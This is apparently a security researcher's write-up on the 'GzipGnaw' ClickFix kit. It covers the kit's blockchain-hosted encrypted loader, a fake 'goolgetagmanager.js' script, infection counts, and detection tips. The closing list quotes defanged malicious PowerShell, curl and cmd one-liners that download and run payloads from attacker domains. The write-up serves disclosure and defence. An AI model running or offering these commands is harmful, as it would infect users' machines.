GzipGnaw ClickFix kit

Encrypted, compressed, then run

GzipGnaw encrypts and compresses its next stage. For Windows visitors, the injected loader:

1. sends an eth_call with the selector 0x3bc5de30 to a contract on Ethereum Sepolia
2. treats the returned bytes as AES-256-GCM ciphertext, with a key made by hashing a passphrase stored in the loader and a nonce taken from the first 12 bytes of the contract address
3. decompresses the result with the browser's own DecompressionStream
4. runs it with new Function and caches it in local storage with an expiry

The decompressed stage then contacts a base host named by the contract. It reads an optional client ID from the local storage key g_i15s_cf, uses it as a subdomain, posts a small Base64 message, and caches the reply for an hour under gf5_1f_ch_cf before running it as the next stage. Repeat visits within the hour are served from that cache and make no request at all.

The fake tag manager

Some sites carry a second piece: a script named goolgetagmanager.js, with Google misspelled, plus a version query string and a src_type attribute. Its linked scripts use the same storage keys and the same caching scheme, along with a third key, cf_itd_17_v3.

What we see

Month	New sites
September	3,577
October	1,016
November so far	262

We matched GzipGnaw on 1,814 sites in August. Of the 3,118 sites recaptured at least 25 days after their first match, 2,757 were still serving it (88%). 96% of GzipGnaw sites captured since 25 September run WordPress, and 33% of those run WordPress 7.0. Across ClickFix, 11% of WordPress sites run that version.

Checking a site

Look in the page source for:

• a script named goolgetagmanager.js, or any tag manager file name with a misspelling
• a Base64 data: script that decodes to code calling an Ethereum Sepolia RPC service
• code using DecompressionStream and new Function together

In the browser, local storage entries named g_i15s_cf, gf5_1f_ch_cf or cf_itd_17_v3 on your own domain are a clear sign.

irm 'xivbbkobqueds[.]zhv8[.]com/s/w/1' | iex

irm 'trxllvxewesmu[.]zvx1[.]com/s/w/1' | iex

irm 'bvpbenkzzthqq[.]zo15[.]com/s/w/1' | iex

powershell -nop -c "$f=$env:TEMP+'\clakr.ps1';curl.exe -sk -o $f 'hxxps://birdo[.]site/LLxZY2r36FcfDdmF';powershell -ep bypass -File $f"

iwr -Uri 'hxxps://freeviewstats[.]com/AC9plOxhIayQRojYd' -OutFile (Join-Path $env:APPDATA 'spai.ps1');

$ curl hxxp://111[.]0[.]0[.]2/nsfocus

sudo wget hxxps://archive[.]kali[.]org/archive-keyring.gpg -O /usr/share/keyrings/kali-archive-keyring.gpg

cmd /c "(echo cd /d %~dp0&echo copy /b /y %windir%\system32\c?rl.exe x224.exe&echo .\x224.exe -k -sLo a224.exe hxxps://socialviewsec[.]lc/p?d=aa390893&echo start a224.exe&echo del x224.exe)>%TEMP%\s224.cmd& cmd /c %TEMP%\s224.cmd"